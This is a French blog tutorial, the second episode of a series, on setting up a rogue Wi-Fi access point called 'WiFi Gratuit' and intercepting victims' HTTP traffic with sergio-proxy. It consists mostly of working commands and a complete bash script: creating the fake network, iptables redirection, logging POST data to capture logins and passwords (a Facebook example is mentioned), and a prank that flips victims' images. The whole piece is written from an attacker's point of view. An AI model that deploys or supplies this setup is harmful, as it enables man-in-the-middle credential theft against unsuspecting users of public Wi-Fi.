[Tuto] Rogue AP – Episode 2 : Sniffing de base et un peu de fun

Bon, Suite à l’Épisode 1 on a un RogueAP transparent, ce qui n’a pas beaucoup d’intérêt en tant que tel du point de vue de l’attaquant. L’évolution la plus courante d’un RogueAP c’est de rediriger la victime vers une page piégée ; typiquement, on imite le réseau « Hotspot » d’un opérateur (FreeWiFi,…) et on envoie la victime vers une page qui lui demande de taper son login et son mot de passe (pour les récupérer ensuite). Donc au départ je voulais faire un article sur ça, mais je n’ai pas trouvé de solution « propre et simple » pour faire ça comme je voulais (j’utilisais NoCatSplash, mais il a quasiment disparu des radars). J’y reviendrai plus tard si j’en ai l’occasion, les suggestions sont les bienvenues en commentaires ou par mail (Deux sources possibles que je dois encore creuser). En attendant, je dois décaler un peu mon planning et passer à la suite 😀

Le principal intérêt d’un RogueAP, c’est qu’on se retrouve naturellement en MITM (Man In The Middle), on se situe entre la cible et le reste du réseau et tout son trafic passe par notre machine. On peut donc rediriger le trafic vers un proxy (local) sans que la cible ne s’en rende compte : ça permet un tas de scénarios intéressants, entre récupération du trafic et modification « en live » de celui-ci. Et c’est ici que j’introduis Sergio-Proxy, LE programme pour lequel j’ai voulu commencer cette série sur les RogueAP. Il n’est pas intégré à BackTrack 5 ni à Kali, mais il le mériterait très largement (en plus son auteur est sympa). Étonnamment, il n’y a aucun tuto qui en parle en français (et même en anglais il reste peu connu). Je vais donc détailler en quelques billets les principales fonctions de l’outil 😉

Sergio-proxy est (suspense !) un proxy, à travers lequel est envoyé le trafic de la cible. Ledit trafic peut être analysé et modifié, comme nous allons le voir. Pour ne pas ruiner le suspense des prochains articles, je ne détaillerai pas ici la liste des fonctions proposées ; je vous renvoie vers le manuel (enfin la page d’aide) si ça vous intéresse. On commence par installer le programme :

cd /pentest/web/
wget -P http://sergio-proxy.googlecode.com/files/sergio-proxy-v0.2.1.tar.gz
tar -xf sergio-proxy-v0.2.1.tar.gz
rm sergio-proxy-v0.2.1.tar.gz

Le programme est désormais disponible dans le dossier /pentest/web/sergio-proxy. Il faut se placer dans ce dossier avant de lancer l’outil (et le rendre exécutable, c’est plus simple) :

cd /pentest/web/sergio-proxy/
chmod +x sergio-proxy.py
./sergio-proxy.py --help

Il faut ensuite s’arranger pour que le trafic de la cible soit détourné vers sergio-proxy. Dans un premier temps, je ne traiterai que le trafic HTTP (port 80) et pas le HTTPS (port 443), pour deux raisons :

  • d’abord parce que sergio-proxy ne le gère pas (c’est sur la to-do list de son dév’)
  • et ensuite parce que le HTTPS est assez délicat à gérer, surtout sur les sites « connus » et les navigateurs modernes.

J’y reviendrai bientôt dans un article dédié.

Si on ne s’intéresse qu’au port 80, on peut utiliser iptables pour rediriger son trafic vers le port 10000 (par défaut pour sergio-proxy) de notre machine. Le proxy se chargera ensuite de faire suivre les paquets vers le net.

iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to 192.168.2.1:10000
# Adaptez l'IP si vous n'utilisez pas les mêmes adresses que moi

Attention, une fois que cette commande a été saisie, il faut qu’un service soit en écoute sur le port 10000 pour faire suivre le trafic sinon la victime perdra accès au net !

On va d’abord voir comment on peut récupérer des infos intéressantes (notamment les requêtes POST envoyées par la cible). Ca permettra généralement de récupérer les logins et les mots de passe de sites courant (en HTTP), à condition que ceux-ci ne soient pas chiffrés/hachés localement (mais c’est rare). Un problème avec sergio-proxy, c’est qu’il a tendance à récupérer BEAUCOUP de données, et c’est difficile d’en extraire les parties intéressantes. Sergio-proxy propose des options de filtrage issues de sslstrip (dont sergio-proxy reprend une partie du code), mais j’ai l’impression qu’elles ne changent pas grand chose…
On va donc dire à sergio-proxy de stocker tout ce qu’il récupère dans un fichier texte, qu’on analysera par la suite. Si on sait ce qu’on cherche (ex : un mot de passe Facebook) on pourra facilement rechercher le pattern, mais si on ne sait pas trop ce qu’on cherche il faudra se plonger dans les données 🙂 Une utilisation basique de sergio-proxy, ça donne donc ceci :

cd /pentest/web/sergio-proxy/
chmod +x sergio-proxy.py
./sergio-proxy.py -l 10000 -w /tmp/log.txt

Et voilà ! On vérifie que la cible a toujours un accès fluide au réseau (ça devrait être bon), et on peut jeter un oeil au fichier /tmp/log.txt pour récupérer des données. Je rappelle que ça ne fonctionne que pour les sites en HTTP ! Voici un exemple de connexion sur Facebook :

Sergio Facebook Snapshot

Jusqu’ici, la cible ne voit aucune différence sur son écran et ne sait pas qu’elle passe par un proxy. Si on veut s’amuser un peu, on peut utiliser l’option « upsidedownternet » qui va simplement retourner toutes les images de tous les sites que la cible va visiter. C’est tout sauf discret, mais ça peut être drôle de voir la tête de la victime avec tous ses sites défigurés 🙂

cd /pentest/web/sergio-proxy/
chmod +x sergio-proxy.py
./sergio-proxy.py -l 10000 -w /tmp/log.txt --upsidedownternet

Jusqu’ici rien de méchant, mais sergio-proxy permet d’autres attaques beaucoup plus puissantes et dangereuses (pour la cible) 🙂

Voilà pour l’usage basique de sergio-proxy, ceux qui sont intéressés pourront jouer avec de leur côté. Je vous laisse un script global qui intègre ce qu’on a vu aujourd’hui :

#!/bin/bash
# Add sergio-proxy instance to transparent hotspot
# Tested & OK with BackTrack 5R3-KDE-32
# Author : Antares145  - 2013, licence CC-BY-NC

# -1- Créer un réseau transparent, cfr. premier tuto

# Spécifier les interfaces réseau ici :
NET_IFACE=wlan0
ROGUE_IFACE=wlan1
# Choisir un répertoire pour les fichiers de log
# (! dans /tmp/ ils seront effacés au reboot)
LOG_FILE=/tmp/log.txt

# Nettoyage des processus et des fichiers
# Les redirections &> sont là pour ne rien afficher à  l'écran
rm /tmp/udhcpd.* &> /dev/null
rm $LOG_FILE &> /dev/null
killall airbase-ng &> /dev/null
killall udhcpd &> /dev/null
airmon-ng stop mon0 &> /dev/null

# Installation de udhcpd et génération de sa config
echo "Installation de Udhcpd"
echo "(Ca peut prendre un peu de temps...)"
# Pour utiliser le script sous Kali 1.0, décommenter la ligne suivante
#apt-get update &>> $LOG_FILE
apt-get install udhcpd &>> $LOG_FILE
echo "max_leases 10
start 192.168.2.10
end 192.168.2.20
interface at0
domain local
option dns 8.8.8.8
option subnet 255.255.255.0
option router 192.168.2.1
lease 7200
lease_file /tmp/udhcpd.leases" > /tmp/udhcpd.conf
touch /tmp/udhcpd.leases &>> $LOG_FILE

#Création du réseau WiFi
echo "Démarage du réseau WiFi"
airmon-ng start $ROGUE_IFACE &>> $LOG_FILE
airbase-ng -c 3 -e 'WiFi Gratuit' mon0 &>> $LOG_FILE &
sleep 5
ifconfig at0 up
ifconfig at0 192.168.2.1 netmask 255.255.255.0 &>> $LOG_FILE
# Démarrage du DHCP et du Transfert de trafic
echo "Démarrage du serveur DHCP"
udhcpd /tmp/udhcpd.conf &>> $LOG_FILE
echo 1 > /proc/sys/net/ipv4/ip_forward
# Effacer toutes les règles IpTables pour ne garder que les bonnes
iptables -F
iptables -X
iptables -t nat -F
iptables -t nat -X
# Activer le transfert vers l'interface $NET_IFACE
iptables -t nat -A POSTROUTING -o $NET_IFACE -j MASQUERADE
echo "Le réseau est opérationnel !"

########################################################
#Jusqu'ici rien ne change par rapport au premier script#
########################################################

# -2- Installation et lancement de sergio-proxy

cd /pentest/web/
echo "Installation de sergio-proxy"
wget http://sergio-proxy.googlecode.com/files/sergio-proxy-v0.2.1.tar.gz &> /dev/null
tar -xf sergio-proxy-v0.2.1.tar.gz
rm sergio-proxy-v0.2.1.tar.gz
cd sergio-proxy/
chmod +x sergio-proxy.py
# Désactivation de la règle iptable si elle existe
iptables -t nat -D PREROUTING -p tcp --dport 80 -j DNAT --to 192.168.2.1:10000 &> /dev/null
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to 192.168.2.1:10000
./sergio-proxy.py -l 10000 -w /tmp/sergio-log.txt --upsidedownternet

Comme d’habitude, démarrez d’une BackTrack 5R3 « vierge » connectée au net et collez ce contenu dans un fichier sergio1.sh. Rendez-le exécutable (chmod + sergio1.sh) puis exécutez celui-ci (./sergio1.sh) pour démarrer sergio-proxy. Notez que si vous voulez désactiver ce dernier, vous devrez désactiver la règle de redirection iptable pour laisser passer le trafic sur port 80 :

iptables -t nat -D PREROUTING -p tcp --dport 80 -j DNAT --to 192.168.2.1:10000
# La seule chose qui change avec la règle d'ajout c'est un -D à la place de -A

Vérifiez avec « iptables -t nat -nvL » que vous n’avez plus de règle de PREROUTING, et ça devrait être bon.

Remarque

  • Même si l’outil affiche « sslstrip 0.9 […] running », il ne prend pas en charge le HTTPS. Sergio-proxy reprend une partie du code de sslstrip (en ce qui concerne l’interception) mais il ne « casse » pas une connexion SSL comme le fait SSLStrip.
Publicités
Cet article a été publié dans rogue-ap, tuto. Ajoutez ce permalien à vos favoris.

24 commentaires pour [Tuto] Rogue AP – Episode 2 : Sniffing de base et un peu de fun

  1. bonjour j’ai tout fait mais a la fin les pc ne veulent pas se connecter sur le wifi.qu’est ce qui pourrait etre l’origine de ce probléme

  2. Ping : Les Rogue Access Point | White Flag

Laisser un commentaire

Entrez vos coordonnées ci-dessous ou cliquez sur une icône pour vous connecter:

Logo WordPress.com

Vous commentez à l'aide de votre compte WordPress.com. Déconnexion / Changer )

Image Twitter

Vous commentez à l'aide de votre compte Twitter. Déconnexion / Changer )

Photo Facebook

Vous commentez à l'aide de votre compte Facebook. Déconnexion / Changer )

Photo Google+

Vous commentez à l'aide de votre compte Google+. Déconnexion / Changer )

Connexion à %s